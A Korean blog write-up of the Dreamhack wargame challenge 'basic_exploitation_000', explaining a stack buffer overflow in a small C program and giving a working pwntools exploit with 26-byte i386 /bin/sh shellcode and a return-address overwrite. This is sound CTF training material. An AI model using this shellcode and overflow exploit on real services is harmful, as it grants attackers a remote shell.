드림핵 basic_exploitation_000 풀이

사랑해요·4일 전

드림핵 문제 풀이

목록 보기
16/16

문제설명

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[128];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

코드를 보니 버퍼가 128 바이트인데 입력을 141 바이트를 받는 스택 버퍼 오버플로우 취약점이 있었다.

풀이

pwndbg로 확인해보니 버퍼 메모리부터 리턴 주소 시작까지의 오프셋이 132 바이트였다.

26 바이트 짜리 셸코드를 구해서

[셸코드 26 바이트] + [ 106 바이트 채움 ] + [ 리턴주소 4 바이트]
구조로 페이로드를 넣으면 될거같다.

from pwn import *

context.arch = 'i386'          # 32비트
context.log_level = 'info'

BINARY = "./basic_exploitation_000"
elf = ELF(BINARY)

p = remote("host3.dreamhack.games", 22192)

p.recvuntil(b"buf = (")
leak = p.recvuntil(b")", drop=True)
buf_addr = int(leak, 16)

log.info(f"buf address: {hex(buf_addr)}")

OFFSET = 132

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

payload = shellcode + b"A" * 106 + p32(buf_addr)

p.sendline(payload)
p.interactive()

log.info(f"shellcode length: {len(shellcode)}")
log.info(f"payload length: {len(payload)}")
print(payload)

숫자 106 부분을 (OFFSET - len(shellcode))로 바꿔도 잘 작동한다.

원래 pwntool이 생성해주는 셸코드를 사용하다가 공백 문자가 포함되어있어서 26 바이트 짜리 셸코드로 교체했다.

profile
중등해커

0개의 댓글